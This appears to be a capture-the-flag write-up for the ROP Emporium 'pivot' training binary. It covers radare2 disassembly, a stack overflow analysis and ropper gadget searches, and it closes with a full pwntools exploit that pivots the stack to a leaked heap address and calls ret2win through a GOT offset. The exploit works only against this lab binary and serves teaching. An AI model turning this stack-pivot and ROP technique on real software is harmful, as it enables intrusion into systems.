Writeup

We have two files : pivot and libpivot.so, we can check that the library is linked correctly with ldd:

$ ldd pivot
        linux-vdso.so.1 (0x00007fff1abc9000)
        libpivot.so => ./libpivot.so (0x00007f68fc606000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007f68fc40b000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f68fc80a000)

Security protections:

$ rabin2 -I pivot
arch     x86
baddr    0x400000
binsz    11395
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
sanitiz  false
static   false
stripped false
subsys   linux
va       true

Let’s reverse it:

[0x7fd73f980100]> afl
0x004008a0    1 41           entry0
0x00400830    1 6            sym.imp.__libc_start_main
0x004007b8    3 26           sym._init
0x00400b84    1 9            sym._fini
0x004008d0    4 50   -> 41   sym.deregister_tm_clones
0x00400910    4 58   -> 55   sym.register_tm_clones
0x00400950    3 28           entry.fini0
0x00400970    4 38   -> 35   entry.init0
0x00400a3b    1 167          sym.pwnme
0x00400820    1 6            sym.imp.memset
0x00400800    1 6            sym.imp.puts
0x00400810    1 6            sym.imp.printf
0x00400840    1 6            sym.imp.fgets
0x00400ae2    1 24           sym.uselessFunction
0x00400850    1 6            sym.imp.foothold_function
0x00400880    1 6            sym.imp.exit
0x00400b80    1 2            sym.__libc_csu_fini
0x00400b10    4 101          sym.__libc_csu_init
0x00400996    1 165          main
0x00400870    1 6            sym.imp.setvbuf
0x00400860    1 6            sym.imp.malloc
0x004007f0    1 6            sym.imp.free
[0x7fd73f980100]> s main
[0x00400996]> pdg

undefined8 main(void)
{
    undefined8 uVar1;
    int32_t var_10h;
    int32_t var_8h;
    
    sym.imp.setvbuf(_section..bss, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stderr_160, 0, 2, 0);
    sym.imp.puts("pivot by ROP Emporium");
    sym.imp.puts("64bits\n");
    uVar1 = sym.imp.malloc(0x1000000);
    sym.pwnme((int32_t)uVar1 + 0xffff00);
    sym.imp.free(uVar1);
    sym.imp.puts("\nExiting");
    return 0;
}
[0x00400996]> s sym.pwnme
[0x00400a3b]> pdg

void sym.pwnme(int32_t arg1)
{
    undefined4 in_RDI;
    int32_t var_28h;
    int32_t var_20h;
    
    sym.imp.memset(&var_20h, 0, 0x20);
    sym.imp.puts("Call ret2win() from libpivot.so");
    sym.imp.printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", CONCAT44(in_RDI, arg1));
    sym.imp.puts("Send your second chain now and it will land there");
    sym.imp.printf(0x400c52);
    sym.imp.fgets(CONCAT44(in_RDI, arg1), 0x100, _reloc.stdin_144);
    sym.imp.puts("Now kindly send your stack smash");
    sym.imp.printf(0x400c52);
    sym.imp.fgets(&var_20h, 0x40, _reloc.stdin_144);
    return;
}
[0x00400a3b]>
[0x00400a3b]> pdf
/ (fcn) sym.pwnme 167
|   sym.pwnme (int32_t arg1);
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_20h @ rbp-0x20
|           ; arg int32_t arg1 @ rdi
|           ; CALL XREF from main @ 0x400a11
|           0x00400a3b      55             push rbp
|           0x00400a3c      4889e5         mov rbp, rsp
|           0x00400a3f      4883ec30       sub rsp, 0x30
|           0x00400a43      48897dd8       mov qword [var_28h], rdi    ; arg1
|           0x00400a47      488d45e0       lea rax, [var_20h]
|           0x00400a4b      ba20000000     mov edx, 0x20               ; 32
|           0x00400a50      be00000000     mov esi, 0
|           0x00400a55      4889c7         mov rdi, rax
|           0x00400a58      e8c3fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x00400a5d      bfc00b4000     mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so"
|           0x00400a62      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400a67      488b45d8       mov rax, qword [var_28h]
|           0x00400a6b      4889c6         mov rsi, rax
|           0x00400a6e      bfe00b4000     mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n"
|           0x00400a73      b800000000     mov eax, 0
|           0x00400a78      e893fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400a7d      bf200c4000     mov edi, str.Send_your_second_chain_now_and_it_will_land_there ; 0x400c20 ; "Send your second chain now and it will land there"
|           0x00400a82      e879fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400a87      bf520c4000     mov edi, 0x400c52
|           0x00400a8c      b800000000     mov eax, 0
|           0x00400a91      e87afdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400a96      488b15f31520.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x602090:8]=0
|           0x00400a9d      488b45d8       mov rax, qword [var_28h]
|           0x00400aa1      be00010000     mov esi, 0x100              ; 256
|           0x00400aa6      4889c7         mov rdi, rax
|           0x00400aa9      e892fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400aae      bf580c4000     mov edi, str.Now_kindly_send_your_stack_smash ; 0x400c58 ; "Now kindly send your stack smash"
|           0x00400ab3      e848fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400ab8      bf520c4000     mov edi, 0x400c52
|           0x00400abd      b800000000     mov eax, 0
|           0x00400ac2      e849fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400ac7      488b15c21520.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x602090:8]=0
|           0x00400ace      488d45e0       lea rax, [var_20h]
|           0x00400ad2      be40000000     mov esi, 0x40               ; '@' ; 64
|           0x00400ad7      4889c7         mov rdi, rax
|           0x00400ada      e861fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400adf      90             nop
|           0x00400ae0      c9             leave
\           0x00400ae1      c3             ret
[0x00400a3b]>
[0x7f08b26dc100]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000b98 0x00400b98  21  22 (.rodata) ascii pivot by ROP Emporium
001 0x00000bae 0x00400bae   7   8 (.rodata) ascii 64bits\n
002 0x00000bb6 0x00400bb6   8   9 (.rodata) ascii \nExiting
003 0x00000bc0 0x00400bc0  31  32 (.rodata) ascii Call ret2win() from libpivot.so
004 0x00000be0 0x00400be0  57  58 (.rodata) ascii The Old Gods kindly bestow upon you a place to pivot: %p\n
005 0x00000c20 0x00400c20  49  50 (.rodata) ascii Send your second chain now and it will land there
006 0x00000c58 0x00400c58  32  33 (.rodata) ascii Now kindly send your stack smash

Let’s run it:

$ ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f9b8655ef10
Send your second chain now and it will land there
> aaaaaaa
Now kindly send your stack smash
> bbbbbbbbbbbbbbbbbbb

Exiting

Basically the program does:

buf[0x20];
uVar1 = malloc(0x1000000)
fgets(uVar1, 0x100, stdin)
fgets(buf, 0x40, stdin)

1st Problem

We have an overflow on the stack, however the fgets read from stdin only 64 bytes. We can deduce that the size of the buf + rbp is 40 bytes, so there are only 16 bytes to “ROP”. We need to call ret2win, but we don’t have enough bytes to build an adequate rop chain with only 16 bytes available.

1st Solution

We can move the stack pointer using a rop gadget xcgh eax, rsp; ret to the heap. The address of uVar is printed by the program, in this way we defeat ASLR because we know the value that we need to set to rsp.

$ ropper --file pivot --stack-pivot        
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

0x0000000000400aca: ret 0x2015; 
0x0000000000400b03: xchg eax, esp; ret; 
0x0000000000400b02: xchg rax, rsp; ret;

$ ropper --file pivot | grep pop
[..]
0x0000000000400b00: pop rax; ret;
[..]

Ok, we have found the gadgets we need to manipulate the stack pointer.

2nd Problem

We need to call ret2win, however it’s not imported in the binary.

2nd Solution

So, we need to:

  1. Call foothold_function at least once to fill its .got.plt with its effective address.
  2. Compute the offset between foothold_function and the
    ret2win symbols to know the effective address of ret2win.
  3. Set the value of register1 equal to the .got.plt of foothold_function.
  4. Set register1 = register1(foothold_function) + register2(offset) = ret2win , and call register1.
  5. Enjoy whatever the fuck ret2win will do.

After searching in the binary lots of gadgets, I was able to find the right ones.

Solution

Exploit

#!/usr/bin/env python3

from pwn import process, context, remote, p64, ELF, ROP

class Sender:

    def __init__(self, conn, debug):
        if debug == True:
            context.log_level = 'debug'
        if conn == 'local':
            self.conn = process('./pivot')
        else:
            self.conn = remote('127.0.0.1', 9999)
    
    def send(self, data):
        self.conn.sendline(data)

class Attack:
    
    def __init__(self, conn, debug):
        self.pivot = ELF('./pivot', False)
        self.rop = ROP(self.pivot)
        self.lib = ELF('./libpivot.so', False)
        self.snd = Sender(conn, debug)
    
    def first_stage(self):
        offset = self.lib.symbols['ret2win'] - \
            self.lib.symbols['foothold_function']
        pop_rax = p64(self.rop.find_gadget(["pop rax", "ret"])[0])
        pop_rbp = p64(self.rop.find_gadget(["pop rbp", "ret"])[0])
        add_rax_rbp = p64(0x0400b09)
        call_rax = p64(0x040098e)
        mov_rax_addr_rax = p64(0x0400b05)
        payload = p64(self.pivot.plt['foothold_function'])
        payload += pop_rax
        payload += p64(self.pivot.got['foothold_function'])
        payload += mov_rax_addr_rax
        payload += pop_rbp
        payload += p64(offset)
        payload += add_rax_rbp
        payload += call_rax
        self.snd.conn.recvuntil(b'pivot: ')
        heap = p64(int(self.snd.conn.recvline().strip().decode(), 16))
        self.snd.conn.recvuntil(b'> ')
        self.snd.send(payload)
        return heap

    def second_stage(self, heap):
        rsp_pivot = p64(0x0400b02) # xcgh rax, rsp; ret
        pop_rax = p64(self.rop.find_gadget(["pop rax", "ret"])[0])
        payload = b'a' * 40
        payload += pop_rax
        payload += heap
        payload += rsp_pivot
        self.snd.conn.recvuntil(b'> ')
        self.snd.send(payload)
        print(self.snd.conn.recvuntil('libpivot.so'))
        print(self.snd.conn.recv())

def main():
    attack = Attack('local', False)
    heap = attack.first_stage()
    attack.second_stage(heap)

if __name__ == '__main__':
    main()